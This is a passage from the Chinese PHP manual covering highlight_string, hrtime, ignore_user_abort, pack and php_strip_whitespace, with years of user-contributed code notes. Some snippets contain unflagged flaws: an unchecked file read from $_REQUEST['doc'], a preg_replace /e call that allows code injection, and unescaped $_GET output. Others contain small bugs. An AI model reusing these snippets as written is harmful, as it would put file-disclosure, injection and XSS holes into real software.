                                for($position+=1;$position < strlen($this->content) && $this->content[$position] != ">" && $this->content[$position] != $QuoteType  ;$position++){
                                    $value .= $this->content[$position];
                                }
                                $value.=$QuoteType;
                            }else{//No Quotation marks.
                                $value .= $this->content[$position];
                            }
                        }
                        $buffer .= "<span class='tagValue'>".$value."</span>";
                        break;
                    }

                }
                if($attribute != ""){$buffer.="<span class='tagAttribute'>".$attribute."</span>";}
            }
            if($this->content[$position] == ">" ){break;}else{$buffer.= $this->content[$position];}

        }
        //In case there were no attributes.
        if($this->content[$position] == ">" && !$coloredTagName){
            $buffer.="</span>&gt;";
            $position++;
        }
        $this->colorized .= $buffer;
        return --$position;
    }
    function colorize(){
        $this->colorized="";
        $inTag = false;
        for($pointer = 0;$pointer<strlen($this->content);$pointer++){
            $thisChar = $this->content[$pointer];
            $nextChar = $this->content[$pointer+1];
            if($thisChar == "<"){
                if($nextChar == "!"){
                    $pointer = $this->colorComment($pointer);
                }else if($nextChar == "?"){
                    //colorPHP();
                }else{
                    $pointer = $this->colorTag($pointer);
                }
            }else{
                $this->colorized .= $this->content[$pointer];
            }
        }
        return $this->colorized;
    }
}
$curDocName = $_REQUEST['doc'];
$docHandle = fopen($curDocName,"r");
$docStrContent = fread($docHandle,filesize($curDocName));
fclose($docHandle);
$HTMLinspector = new HTMLcolorizer($docStrContent);
$document = $HTMLinspector->colorize();
?>

<html>
    <head>
        <style type="text/css">
        /**********************\
         * MOZILLA FIREFOX STYLE
        \**********************/
        /*pre{font-family:Tahoma;font-size:px;}*/
        .tagName{color:purple;}
        .tagAttribute{color:red;}
        .tagValue{color:blue;}
        .HTMLComment{font-style:italic;color:green;}
        </style>
    </head>
    <body>
    <?php
        echo "<pre>".$document."</pre>";
    ?>
    </body>
</html>
wm at tellinya dot com 17-Dec-2007 04:32
I wanted to build a better function and exclude operators {}=- from keywords span class. I also wanted to link functions used in my PHP code directly to the PHP site.
A lot more changes and tweaks have been made and the output is much better!

Find the function here :
http://www.tellinya.com/art2/262/highligh-php-syntax/
and ditch the old PHP one permanently.
Tested and built on PHP 5.2.0.

Looking forward to any input.
www.phella.net 05-Sep-2007 08:47
When you quote highlighted PHP code in your website you need to escape quotes. If you quote a lot it may be annoyning. Here is tiny snippet how to make quoting tidy and clean. Write your code like this:

<?code()?>
  $string = 'Here I put my code';
<?code()?>

And somewhere else define the function:

<?
  function code()
  {
    static $on=false;
    if (!$on) ob_start();
    else
    {
      $buffer= "<?\n".ob_get_contents()."?>";
      ob_end_clean();
      highlight_string($buffer);
    }
    $on=!$on;
  }
?>
supremacy2k at gmail dot com 31-Mar-2007 04:06
A simplification of functions vanessaschissato at gmail dot com at 17-Oct-2006 05:04.

Since it had trouble keeping the code intact. (It removed /* )

function showCode($code) {
 $code = highlight_string($code, true);
 $code = explode("<br />", $code);

 $i = "1";
 foreach ($code as $line => $syntax) {
  echo "<font color='black'>".$i."</font> ".$syntax."<br>";
  $i++;
 }
}
Pyerre 04-Mar-2007 01:29
This fonction replaces every space with the html code &nbsp; (non-breaking space)
this is not very good because text will not go to the line and causes a big width
for example in a bordered div, text will go across the border

my solution :
echo str_replace("&nbsp;", " ",highlight_string("Arise, you children of the fatherland",true));
echo str_replace("&nbsp;", " ",highlight_file("test.php",true));
tyler dot reed at brokeguysinc dot com 01-Oct-2006 06:11
This is a little chunk of code that i use to show the source of a file, i took part of the idea from a example i found on another php function page.

This code takes a php file and highlights it and places a line number next to it.  Great for on the fly debugging.

<?php
// Get a file into an array
$lines = file('index.php');

// Loop through our array, show HTML source as HTML source; and line numbers too.
echo('<table border=0 cellpadding=0 cellspacing=0>');
foreach ($lines as $line_num => $line) {
    echo('<tr>');
    echo('<td bgcolor = "#cccccc">');
    echo('<code>' . ($line_num + 1) . '</code>');
    echo('</td>');
    echo('<td>');
    highlight_string($line);
    echo('</td>');
    echo('</tr>');
}

?>
peter at int8 dot com 19-Apr-2006 04:43
This hasn't been mentioned, but it appears that PHP opening and closing tags are required to be part of the code snippet.
<?php highlight_string("<? \$var = 15; ?>"); ?>
works, while
<?php highlight_string("\$var = 15;"); ?>
does not. This is unforunate for those of use who want to show tiny code snippets, but there you go. Earlier versions of this function did not have this requirement, if I remember correctly.
stalker at ruun dot de 31-Dec-2005 01:37
to vouksh: I expanded your functions a bit:

<?php
function xhtmlHighlightString($str,$return=false) {
   $hlt = highlight_string(stripslashes($str), true);
   $fon = str_replace(array('<font ', '</font>'), array('<span ', '</span>'), $hlt);
   $ret = preg_replace('#color="(.*?)"#', 'style="color: \\1"', $fon);
   if($return)
     return $ret;
   echo $ret;
   return true;
}
function xhtmlHighlightFile($path,$return=false) {
   $hlt = highlight_file($path, true);
   $fon = str_replace(array('<font ', '</font>'), array('<span ', '</span>'), $hlt);
   $ret = preg_replace('#color="(.*?)"#', 'style="color: \\1"', $fon);
   if($return)
     return $ret;
   echo $ret;
   return true;
}
?>
vouksh at vouksh dot info 10-Sep-2005 10:27
Fully working, XHTML 1.1 ready xhtml_highlight function. I included the stripslashes, because of some problems I had with out it. It should be safe to leave it in there, but if you experience problems, feel free to take it out.

<?
function xhtml_highlight($str) {
    $hlt = highlight_string(stripslashes($str), true);
    $fon = str_replace(array('<font ', '</font>'), array('<span ', '</span>'), $hlt);
    $ret = preg_replace('#color="(.*?)"#', 'style="color: \\1"', $fon);
    echo $ret;
    return true;
}
?>
zer0 20-Jun-2005 09:18
Concerning my code below:

I'm sorry, I completely forgot about str_ireplace being for PHP 5 for some reason. Also, there was another error I missed (too many late nights ;)). Here's the corrected code:

<?php
    function highlight_code($code, $inline=false, $return=false) // Pre php 4 support for capturing highlight
    {
        (string) $highlight = "";
        if ( version_compare(PHP_VERSION, "4.2.0", "<") === 1 )
        {
            ob_start(); // start output buffering to capture contents of highlight
            highlight_string($code);
            $highlight = ob_get_contents(); // capture output
            ob_end_clean(); // clear buffer cleanly
        }
        else
        {
            $highlight=highlight_string($code, true);
        }

        # Using preg_replace will allow PHP 4 in on the fun
        if ( $inline === true )
            $highlight=preg_replace("/<code>/i","<code class=\"inline\">",$highlight);
        else
            $highlight=preg_replace("/<code>/i","<code class=\"block\">",$highlight);

        if ( $return === true )
        {
            return $highlight;
        }
        else
        {
            echo $highlight;
        }
    }
?>
zero 16-Jun-2005 03:55
In some cases, I found that it's useful to have highlight_string format <code>...</code> inline as part of a paragraph, and other times, as a block for demonstrating multiple lines of code. I made this function to help out.

<?php
    function highlight_code($code, $inline=false, $return=false) // Pre php 4 support for capturing highlight
    {
        (string) $highlight = "";
        if ( version_compare(phpversion(), "4.2.0", "<") === 1 )
        {
            ob_start(); // start output buffering to capture contents of highlight
            highlight_string($code);
            $highlight = ob_get_contents(); // capture output
            ob_end_clean(); // clear buffer cleanly
        }
        else
        {
            $highlight=highlight_string($data, true);
        }

        ## The classes below need to correspond to a stylesheet!
        if ( $inline === true )
          $highlight=str_ireplace("<code>","<code class=\"inline\">",$highlight);
        else
          $highlight=str_ireplace("<code>","<code class=\"block\">",$highlight);

        if ( $return === true )
        {
            return $highlight;
        }
        else
        {
            echo $highlight;
        }
    }
?>
Sam Wilson 14-Jun-2005 11:32
manithu at fahr-zur-hoelle dot org forgot only one thing:  to fix the break tags.  The addidtion of the following should do it.

<?php
$str = str_replace("<br>", "<br />", $str);
?>
bpgordon at gmail dot com 13-Jun-2005 01:04
On dleavitt AT ucsc DOT edu's comment:

You might want to use md5($html_string) instead of "piggusmaloy" as a generally good programming practice. Just in case "piggusmaloy" is actually in $html_string.
trixsey at animania dot nu 29-May-2005 04:02
A neat function I made. Syntax coloring, row numbers, varying background colors per row in the table.

<?
function showCode($code) {
    $html = highlight_string($code, true);
    $html = str_replace("\n", "", $html);
    $rows = explode("<br />", $html);

    $row_num = array();
    $i = 1;

    foreach($rows as $row) {
        if($i < 10) {
            $i = "0".$i;
        }

        if($i==1) {
            $row_num[] = "<tr><td><code><font color=\"#000000\"><code>$i</code></font>\t$row</code></td></tr>";
        }

        if($i!=1) {
            if(is_int($i/2)) {
                $row_num[] = "<tr bgcolor=\"#F9F9F9\"><td><code><font color=\"#000000\">$i</font>\t$row</code></td></tr>";
            } else {
                $row_num[] = "<tr><td><code><font color=\"#000000\">$i</font>\t$row</code></td></tr>";
            }
        }

        $i++;
    }
    return "<pre>\nFilename: <b>$_GET[file]</b>\n<table
    style=\"border:1px #000000 solid\">".implode($row_num)."</table></pre>";
}
?>
support at superhp dot de 10-Apr-2005 04:58
With this function you can highlight php code with line numbers:

<?php
function highlight_php($string)
{
  $Line = explode("\n",$string);

  for($i=1;$i<=count($Line);$i++)
  {
    $line .= "&nbsp;".$i."&nbsp;<br>";
  }

  ob_start();
  highlight_string($string);
  $Code=ob_get_contents();
  ob_end_clean();

  $header='<table border="0" cellpadding="0" cellspacing="0" width="95%" style="border-style: solid; border-width:1px; border-color: white black black white">
    <tr>
      <td width="100%" colspan="2"  style="border-style: solid; border-width:1px; border-color: white; background-color: #99ccff; font-family:Arial; color:white; font-weight:bold;">Php-Code:</td>
    </tr>
    <tr>
      <td width="3%" valign="top" style="background-color: #99ccff; border-style: solid; border-width:1px; border-color: white;"><code>'.$line.'</code></td>
      <td width="97%" valign="top" style="background-color: white;"><div style="white-space: nowrap; overflow: auto;"><code>';

  $footer=$Code.'</div></code></td>
    </tr>
  </table>';

  return $header.$footer;
} ?>
admin [at] develogix [dot] com 16-Feb-2005 11:15
I've been working on a good replacement for the highlight_string() function; and here is what I've come up with so far:

<?
function get_sourcecode_string($str, $return = false, $counting = true, $first_line_num = '1', $font_color = '#666'){
    $str = highlight_string($str, TRUE);
    $replace = array(
        '<font' => '<span',
        'color="' => 'style="color: ',
        '</font>' => '</span>',
        '<code>' => '',
        '</code>' => '',
        '<span style="color: #FF8000">' =>
            '<span style="color: '.$font_color.'">'
        );
    foreach ($replace as $html => $xhtml){
        $str = str_replace($html, $xhtml, $str);
    }
    // delete the first <span style="color:#000000;"> and the corresponding </span>
    $str = substr($str, 30, -9);

    $arr_html      = explode('<br />', $str);
    $total_lines   = count($arr_html);
    $out           = '';
    $line_counter  = 0;
    $last_line_num = $first_line_num + $total_lines;

    foreach ($arr_html as $line){
        $line = str_replace(chr(13), '', $line);
        $current_line = $first_line_num + $line_counter;
        if ($counting){
            $out .= '<span style="color:'.$font_color.'">'
                  . str_repeat('&nbsp;', strlen($last_line_num) - strlen($current_line))
                  . $current_line
                  . ': </span>';
        }
        $out .= $line
              . '<br />'."\n";
        $line_counter++;
    }
    $out = '<code>'."\n".$out.'</code>."\n"';

    if ($return){return $out;}
    else {echo $out;}
}
?>

This function outputs valid XHTML 1.1 code by replacing font tags with span tags. You can also specify whether you want it to return or echo, output a line-count, the color of the line-count, and the starting line-count number.

Usage:
<?
// $str = string with php
// $return = true (return) / false (echo)
//    default of false
// $counting = true (count) / false (don't count)
//    default of true
// $start = starting count number
//    default of '1'
// $color = count color with preceding #
//    defalut of '#666'
get_sourcecode_string($str, $return,   $counting, $start, $color);
?>
gaggge at gmail dot com 30-Jan-2005 08:26
This is a little function for highlighting bbcode-stylish PHP code from a mysql database.
(Like this: [php]<?php echo "test"; ?>[/php])

<?php
function bbcode($s)
{
    $s = str_replace("]\n", "]", $s);
    $match = array('#\[php\](.*?)\[\/php\]#se');
    $replace = array("'<div>'.highlight_string(stripslashes('$1'), true).'</div>'");
    return preg_replace($match, $replace, $s);
}
?>
admin at bwongar dot com 05-Jan-2005 03:11
I didn't get the expected results from the other XHTML_highlight function, so I developed my own and it is much more efficient. The older one uses a preg_replace to replace the contents of the tag to within a span tag. The only preg_replace in my function pulls the color attribute, and puts it within a str_replace'd span tag.

<?php
function xhtml_highlight($str) {
    $str = highlight_string($str, true);
    $str = str_replace(array('<font ', '</font>'), array('<span ', '</span>'), $str);
    return preg_replace('#color="(.*?)"#', 'style="color: \\1"', $str);
}

?>
manithu at fahr-zur-hoelle dot org 06-Nov-2004 11:10
This function will return highlighted, xhtml 1.1 valid code (replaces <font> with <span> elements and color with style attributes):

<?php

function xhtml_highlight($str) {
    $str = highlight_string($str, true);
    //replace <code><font color=""></font></code>
    $str = preg_replace('#<font color="([^\']*)">([^\']*)</font>#', '<span style="color: \\1">\\2</span>', $str);
    //replace other <font> elements
    return preg_replace('#<font color="([^\']*)">([^\']*)</font>#U', '<span style="color: \\1">\\2</span>', $str);
}

?>


获取系统的高精度时间

  • ? highlight_string
  • ignore_user_abort ?
  • PHP Manual
  • 杂项 函数
  • 获取系统的高精度时间

hrtime

(PHP 7 >= 7.3.0, PHP 8)

hrtime — 获取系统的高精度时间

说明

hrtime(bool $as_number = false): array|int|float|false

从任意时间点开始统计，返回系统的高精度时间（high resolution time）。 获取的时间戳为单调时间，无法被用户调整。

参数

as_number

以 array 还是数字返回高精度时间。

返回值

参数 as_number 为 false 时，返回的整型数组格式为 [seconds, nanoseconds]。否则会以 int （64 位平台）或 float （32 位平台）返回奈秒（nanoseconds）。失败时返回 false。

示例

Example #1 hrtime() 的用法

<?php
echo hrtime(true), PHP_EOL;
print_r(hrtime());
?>

以上示例的输出类似于：

10444739687370679
Array
(
    [0] => 10444739
    [1] => 687464812
)

参见

  • 高精度记时扩展
  • microtime() - 返回当前 Unix 时间戳和微秒数

User Contributed Notes

SenseiSimple 25-Oct-2018 12:52
This function is particularly necessary on VMs running on KVM, XEN (openstack, AWS EC2, etc) when timing execution times.

On these platforms which lack vDSO the common method of using time() or microtime() can dramatically increase CPU/execution time due to the context switching from userland to kernel when running the `gettimeofday()` system call.

The common pattern is:
<?php
$time = -microtime(true);
sleep(5);
$end = sprintf('%f', $time += microtime(true));
?>

Substituted as:
<?php
$start=hrtime(true);
sleep(5);
$end=hrtime(true);
$eta=$end-$start;

echo $eta/1e+6; //nanoseconds to milliseconds
//5000.362419

//OR simply

$eta=-hrtime(true);
sleep(5);
$eta+=hrtime(true);

echo $eta/1e+6; //nanoseconds to milliseconds
//5000.088229
?>

There is also the new StopWatch class http://php.net/manual/en/class.hrtime-stopwatch.php


设置客户端断开连接时是否中断脚本的执行

  • ? hrtime
  • pack ?
  • PHP Manual
  • 杂项 函数
  • 设置客户端断开连接时是否中断脚本的执行

ignore_user_abort

(PHP 4, PHP 5, PHP 7, PHP 8)

ignore_user_abort — 设置客户端断开连接时是否中断脚本的执行

说明

ignore_user_abort(?bool $enable = null): int

设置客户端断开连接时是否中断脚本的执行

PHP 以命令行脚本执行时，当脚本终端结束，脚本不会被立即中止，除非设置 enable为 true，否则脚本输出任意字符时会被中止。

参数

enable

如果设置了该值且不为 null，函数会设置 ignore_user_abort ini 为 enable。否则，函数不会改变设置，仅会返回之前的设置。

返回值

以整型返回之前的设置

更新日志

版本 | 说明
8.0.0 | enable 现在允许为 null。

示例

Example #1 ignore_user_abort()例子

<?php
// 忽略用户中止并允许脚本
// 永远运行
ignore_user_abort(true);
set_time_limit(0);

echo 'Testing connection handling in PHP';

// Run a pointless loop that sometime
// hopefully will make us click away from
// page or click the "Stop" button.
while(1)
{
// 连接失败？
if(connection_status() != CONNECTION_NORMAL)
{
break;
}

// 睡眠 10 秒
sleep(10);
}

// If this is reached, then the 'break'
// was triggered from inside the while loop

// So here we can log, or perform any other tasks
// we need without actually being dependent on the
// browser.
?>

注释

在PHP尝试发送信息到客户端之前，不会检测到用户是否已中断连接。 仅使用 echo 语句不能确保信息已发送，参见 flush() 函数。

参见

  • connection_aborted() - 检查客户端是否已经断开
  • connection_status() - 返回连接的状态位
  • Connection Handling 关于PHP连接处理的完整描述。

User Contributed Notes

Charlie Brown 11-Jan-2015 09:52
If running a long process and the browser often close the connection, then use this function.
Micke 11-Dec-2014 04:22
It seems that this function does not work for IIS servers.

A detailed description can be found on the PHP Bug Tracking System:
https://bugs.php.net/bug.php?id=60586#1378935714
lukas dot starecek at centrum dot cz 14-Sep-2009 12:22
Comment from Anonymous is not 100% valid. Time from sleep function is not counted to execution time because sleep delays program execution (see http://www.php.net/manual/en/function.sleep.php and comments). We tested it and it's true. Try this:

<?php

set_time_limit(2);
sleep(4);
echo 'hi!';
sleep(4);
echo 'bye bye!';

?>

It means, that if the loop most of the time will be at sleep (and in this case it probably be), then this script may be active for months or years even if you set time limit to one day.
Anonymous 03-Jul-2009 01:38
use the spiritual-coder's code below with exreme caution and do not use it unless you are an advanced user.

first of all, such a code with no bypass point can cause infinite loops and ghost threads in server. there must be a trick to break out the loop.

i.e. you can use  if (file_exists(dirname(__FILE__)."stop.txt")) break; in the loop so if you create "stop.txt", she script will stop execution.

also if you use set_time_limit(86400); instead of set_time_limit(0); your script will stop after one day.
spiritual-coder at spiritual-coder dot com 13-Jul-2006 09:45
If you want to simulate a crontask you must call this script once and it will keep running forever (during server uptime) in the background while "doing something" every specified seconds (= $interval):

<?php
ignore_user_abort(1); // run script in background
set_time_limit(0); // run script forever
$interval=60*15; // do every 15 minutes...
do{
   // add the script that has to be ran every 15 minutes here
   // ...
   sleep($interval); // wait 15 minutes
}while(true);
?>
plamen at pulsator dot com 29-Mar-2001 09:21
The script should output something to the browser in order to abort. If there is no output the script keeps on running.


将数据打包成二进制字符串

  • ? ignore_user_abort
  • php_strip_whitespace ?
  • PHP Manual
  • 杂项 函数
  • 将数据打包成二进制字符串

pack

(PHP 4, PHP 5, PHP 7, PHP 8)

pack — 将数据打包成二进制字符串

说明

pack(string $format, mixed ...$values): string

将输入参数打包成 format 格式的二进制字符串。

这个函数的思想来自 Perl，所有格式化代码（format）的工作原理都与 Perl 相同。 但是，缺少了部分格式代码，比如 Perl 的 "u"。

注意，有符号值和无符号值之间的区别只影响函数 unpack()，在那些使用有符号和无符号格式代码的地方 pack() 函数产生相同的结果。

参数

format

format 字符串由格式代码组成，后面跟着一个可选的重复参数。重复参数可以是一个整数值或者 * 值来重复到输入数据的末尾。对于 a, A, h, H 格式化代码，其后的重复参数指定了给定数据将会被使用几个字符串。对于 @，其后的数字表示放置剩余数据的绝对定位（之前的数据将会被空字符串填充），对于其他所有内容，重复数量指定消耗多少个数据参数并将其打包到生成的二进制字符串中。

目前已实现的格式如下：

pack() 格式字符
代码 | 描述
a | 以 NUL 字节填充字符串
A | 以 SPACE(空格) 填充字符串
h | 十六进制字符串，低位在前
H | 十六进制字符串，高位在前
c | 有符号字符
C | 无符号字符
s | 有符号短整型(16位，主机字节序)
S | 无符号短整型(16位，主机字节序)
n | 无符号短整型(16位，大端字节序)
v | 无符号短整型(16位，小端字节序)
i | 有符号整型(机器相关大小字节序)
I | 无符号整型(机器相关大小字节序)
l | 有符号长整型(32位，主机字节序)
L | 无符号长整型(32位，主机字节序)
N | 无符号长整型(32位，大端字节序)
V | 无符号长整型(32位，小端字节序)
q | 有符号长长整型(64位，主机字节序)
Q | 无符号长长整型(64位，主机字节序)
J | 无符号长长整型(64位，大端字节序)
P | 无符号长长整型(64位，小端字节序)
f | 单精度浮点型(机器相关大小)
g | 单精度浮点型(机器相关大小，小端字节序)
G | 单精度浮点型(机器相关大小，大端字节序)
d | 双精度浮点型(机器相关大小)
e | 双精度浮点型(机器相关大小，小端字节序)
E | 双精度浮点型(机器相关大小，大端字节序)
x | NUL 字节
X | 回退一字节
Z | 以 NUL 字节填充字符串空白
@ NUL 填充到绝对位置

values

返回值

返回包含数据的二进制字符串。

更新日志

版本 | 说明
8.0.0 | 此函数不再在失败时返回 false 。
7.2.0 | float 和 double 类型支持大端和小端。
7.0.15,7.1.1 | 添加了 "e","E","g" 和 "G" 代码以启用 float 和 double 的字节顺序支持。

示例

Example #1 pack() 范例

<?php
$binarydata = pack("nvc*", 0x1234, 0x5678, 65, 66);
?>

输出结果为长度为 6 字节的二进制字符串，包含以下序列 0x12, 0x34, 0x78, 0x56, 0x41, 0x42。

注释

Caution

Note that PHP internally stores int values as signed values of a machine-dependent size (C type long). Integer literals and operations that yield numbers outside the bounds of the int type will be stored as float. When packing these floats as integers, they are first cast into the integer type. This may or may not result in the desired byte pattern.

The most relevant case is when packing unsigned numbers that would be representable with the int type if it were unsigned. In systems where the int type has a 32-bit size, the cast usually results in the same byte pattern as if the int were unsigned (although this relies on implementation-defined unsigned to signed conversions, as per the C standard). In systems where the int type has 64-bit size, the float most likely does not have a mantissa large enough to hold the value without loss of precision. If those systems also have a native 64-bit C int type (most UNIX-like systems don't), the only way to use the I pack format in the upper range is to create int negative values with the same byte representation as the desired unsigned value.

参见

  • unpack() - Unpack data from binary string

User Contributed Notes

ru 11-Jul-2017 05:45
pack()
h    Hex string, low nibble first (not same hex2bin())
H    Hex string, high nibble first (same hex2bin())
stanislav dot eckert at vizson dot de 29-May-2016 03:14
A helper class to convert integer to binary strings and vice versa. Useful for writing and reading integers to / from files or sockets.

<?php

    class int_helper
    {
        public static function int8($i) {
            return is_int($i) ? pack("c", $i) : unpack("c", $i)[1];
        }

        public static function uInt8($i) {
            return is_int($i) ? pack("C", $i) : unpack("C", $i)[1];
        }

        public static function int16($i) {
            return is_int($i) ? pack("s", $i) : unpack("s", $i)[1];
        }

        public static function uInt16($i, $endianness=false) {
            $f = is_int($i) ? "pack" : "unpack";

            if ($endianness === true) {  // big-endian
                $i = $f("n", $i);
            }
            else if ($endianness === false) {  // little-endian
                $i = $f("v", $i);
            }
            else if ($endianness === null) {  // machine byte order
                $i = $f("S", $i);
            }

            return is_array($i) ? $i[1] : $i;
        }

        public static function int32($i) {
            return is_int($i) ? pack("l", $i) : unpack("l", $i)[1];
        }

        public static function uInt32($i, $endianness=false) {
            $f = is_int($i) ? "pack" : "unpack";

            if ($endianness === true) {  // big-endian
                $i = $f("N", $i);
            }
            else if ($endianness === false) {  // little-endian
                $i = $f("V", $i);
            }
            else if ($endianness === null) {  // machine byte order
                $i = $f("L", $i);
            }

            return is_array($i) ? $i[1] : $i;
        }

        public static function int64($i) {
            return is_int($i) ? pack("q", $i) : unpack("q", $i)[1];
        }

        public static function uInt64($i, $endianness=false) {
            $f = is_int($i) ? "pack" : "unpack";

            if ($endianness === true) {  // big-endian
                $i = $f("J", $i);
            }
            else if ($endianness === false) {  // little-endian
                $i = $f("P", $i);
            }
            else if ($endianness === null) {  // machine byte order
                $i = $f("Q", $i);
            }

            return is_array($i) ? $i[1] : $i;
        }
    }
?>

Usage example:
<?php
    Header("Content-Type: text/plain");
    include("int_helper.php");

    echo int_helper::uInt8(0x6b) . PHP_EOL;  // k
    echo int_helper::uInt8(107) . PHP_EOL;  // k
    echo int_helper::uInt8("\x6b") . PHP_EOL . PHP_EOL;  // 107

    echo int_helper::uInt16(4101) . PHP_EOL;  // \x05\x10
    echo int_helper::uInt16("\x05\x10") . PHP_EOL;  // 4101
    echo int_helper::uInt16("\x05\x10", true) . PHP_EOL . PHP_EOL;  // 1296

    echo int_helper::uInt32(2147483647) . PHP_EOL;  // \xff\xff\xff\x7f
    echo int_helper::uInt32("\xff\xff\xff\x7f") . PHP_EOL . PHP_EOL;  // 2147483647

    // Note: Test this with 64-bit build of PHP
    echo int_helper::uInt64(9223372036854775807) . PHP_EOL;  // \xff\xff\xff\xff\xff\xff\xff\x7f
    echo int_helper::uInt64("\xff\xff\xff\xff\xff\xff\xff\x7f") . PHP_EOL . PHP_EOL;  // 9223372036854775807

?>
petepostma at gmail dot spam dot com 06-Jul-2012 05:26
Even though in a 64-bit architecure intval(6123456789) = 6123456789, and sprintf('%b', 5000000000) = 100101010000001011111001000000000
pack will not treat anything passed to it as 64-bit.  If you want to pack a 64-bit integer:

<?php
$big = 5000000000;

$left = 0xffffffff00000000;
$right = 0x00000000ffffffff;

$l = ($big & $left) >>32;
$r = $big & $right;

$good = pack('NN', $l, $r);

$urlsafe = str_replace(array('+','/'), array('-','_'), base64_encode($good));

//done!

//rebuild:
$unurl =  str_replace(array('-','_'), array('+','/'), $urlsafe);
$binary = base64_decode($unurl);

$set = unpack('N2', $tmp);
print_r($set);

$original = $set[1] << 32 | $set[2];
echo $original, "\\r\\n";
?>

results in:
Array
(
    [1] => 1
    [2] => 705032704
)
5000000000

but ONLY on a 64-bit enabled machine and PHP distro.
chadm at codeangel dot org 23-Feb-2012 09:13
If you'd like to understand pack/unpack. There is a tutorial here in perl, that works equally well in understanding it for php:

http://perldoc.perl.org/perlpacktut.html
FrozenFire 20-Oct-2010 09:40
If you need to unpack a signed short from big-endian or little-endian specifically, instead of machine-byte-order, you need only unpack it as the unsigned form, and then if the result is >= 2^15, subtract 2^16 from it.

And example would be:

<?php
$foo = unpack("n", $signedbigendianshort);
$foo = $foo[1];
if($foo >= pow(2, 15)) $foo -= pow(2, 16);
?>
Ammar Hameed 21-Jun-2010 04:53
Using pack to write Arabic char(s) to a file.

<?php
$text = "&#13574;&#13830;&#13830;";

$text = mb_convert_encoding($text, "UCS-2BE", "HTML-ENTITIES");

$len =  mb_strlen($text);

$bom = mb_convert_encoding("&#65534;", "unicode", "HTML-ENTITIES");

$fp = fopen('text.txt', 'w');

fwrite($fp, pack('a2', $bom));
fwrite($fp, pack("a{$len}", $text));
fwrite($fp, pack('a2', $bom));
fwrite($fp, pack('a2', "\n"));

fclose($fp);
?>
php at nagler-ihlein dot de 08-May-2008 07:26
Be aware of format code H always padding the 0 for byte-alignment to the right (for odd count of nibbles).

So pack("H", "7") results in 0x70 (ASCII character 'p') and not in 0x07 (BELL character)
as well as pack("H*", "347") results in 0x34 ('4') and 0x70 ('p') and not 0x03 and 0x47.
j.s.hoekstra 13-Mar-2006 08:57
/* Convert float from HostOrder to Network Order */
function FToN( $val )
{
    $a = unpack("I",pack( "f",$val ));
    return pack("N",$a[1] );
}

/* Convert float from Network Order to HostOrder */
function NToF($val )
{
    $a = unpack("N",$val);
    $b = unpack("f",pack( "I",$a[1]));
    return $b[1];
}
Patrik Fimml 11-Oct-2005 10:42
You will get the same effect with

<?php
function _readInt($fp)
{
   return unpack('V', fread($fp, 4));
}
?>

or unpack('N', ...) for big-endianness.
plutus at gmx dot de 10-Aug-2000 04:14
Note that the the upper command in perl looks like this:

$binarydata = pack ("n v c*", 0x1234, 0x5678, 65, 66);
In PHP it seems that no whitespaces are allowed in the first parameter. So if you want to convert your pack command from perl -> PHP, don't forget to remove the whitespaces!


返回删除注释和空格后的PHP源码

  • ? pack
  • sapi_windows_cp_conv ?
  • PHP Manual
  • 杂项 函数
  • 返回删除注释和空格后的PHP源码

php_strip_whitespace

(PHP 5, PHP 7, PHP 8)

php_strip_whitespace — 返回删除注释和空格后的PHP源码

说明

php_strip_whitespace(string $filename): string

返回删除注释和空格后 filename 的PHP源码。这对实际代码数量和注释数量的对比很有用。 此函数与 命令行 下执行 php -w 相似。

参数

filename

PHP文件的路径。

返回值

在成功时返回过滤后的代码，或者在失败时返回空字符串。

Note:

此函数遵守 short_open_tag ini 指令的值。

示例

Example #1 php_strip_whitespace() 的例子

<?php
// PHP comment here

/*
* Another PHP comment
*/

echo php_strip_whitespace(__FILE__);
// Newlines are considered whitespace, and are removed too:
do_nothing();
?>

以上示例会输出：

<?php
 echo php_strip_whitespace(__FILE__); do_nothing(); ?>

可以注意到PHP的注释已不存在，成为第一个echo语句前的换行和空格。

User Contributed Notes

razvan_bc at yahoo dot com 20-May-2019 11:48
i notice that on 45=75kb php file compressed using php_strip_whitespace i got slowest speed results in my apache benchmark  .bat tests so doing on a normal php file 10 tests and another 10 tests on a compressed one ,calculating the math average value  I got fastest results on  normal php files.

well,seeing that results i think  SO ,NICE,BUT IF WE COMBINE THESE "METHODS" : what if i use a partial minified method using this function ????

here is the code:
(if you run this in xampp and you are beginner you got a blank page in firefox  ,but if you right click it then you click on the option "view source" you'll get the php partial stripped by comments and tabs) :

<?php
/*   hi there !!!
here are the comments */
//another try

echo removecomments('index.php');

/*   hi there !!!
here are the comments */
//another try
function removecomments($f){
    $w=Array(';','{','}');
    $ts = token_get_all(php_strip_whitespace($f));
    $s='';
    foreach($ts as $t){
        if(is_array($t)){
            $s .=$t[1];
        }else{
            $s .=$t;
            if( in_array($t,$w) ) $s.=chr(13).chr(10);
        }
    }

    return $s;
}

?>
TK 22-May-2009 06:07
I was looking earlier for a way to strip php comments from my source files but didn't come up with much.  I wrote the following function to do the trick using the tokenizer.  I've tested in on an entire phpMyAdmin install and it worked fine afterward... so it should be good to go.  You may also specify any number of tokens to strip such as T_WHITESPACE rather the default of T_COMMENT and T_DOC_COMMENT.

Hopefully someone finds it useful.

<?php

function strip_tokens($code) {

    $args = func_get_args();
    $arg_count = count($args);

    // if no tokens to strip have been specified then strip comments by default
    if( $arg_count === 1 ) {
        $args[1] = T_COMMENT;
        $args[2] = T_DOC_COMMENT;
    }

    // build a keyed array of tokens to strip
    for( $i = 1; $i < $arg_count; ++$i )
        $strip[ $args[$i] ] = true;

    // set a keyed array of newline characters used to preserve line numbering
    $newlines = array("\n" => true, "\r" => true);

    $tokens = token_get_all($code);

    reset($tokens);

    $return = '';

    $token = current($tokens);

    while( $token ) {

        if( !is_array($token) )

            $return.= $token;

        elseif(    !isset($strip[ $token[0] ]) )

            $return.= $token[1];

        else {

            // return only the token's newline characters to preserve line numbering
            for( $i = 0, $token_length = strlen($token[1]); $i < $token_length; ++$i )
                if( isset($newlines[ $token[1][$i] ]) )
                    $return.= $token[1][$i];

        }

        $token = next($tokens);

    } // while more tokens

    return $return;

} // function

?>
gelamu at gmail dot com 10-Apr-2008 02:12
With this function You can compress Your PHP source code.

<?php

function compress_php_src($src) {
    // Whitespaces left and right from this signs can be ignored
    static $IW = array(
        T_CONCAT_EQUAL,             // .=
        T_DOUBLE_ARROW,             // =>
        T_BOOLEAN_AND,              // &&
        T_BOOLEAN_OR,               // ||
        T_IS_EQUAL,                 // ==
        T_IS_NOT_EQUAL,             // != or <>
        T_IS_SMALLER_OR_EQUAL,      // <=
        T_IS_GREATER_OR_EQUAL,      // >=
        T_INC,                      // ++
        T_DEC,                      // --
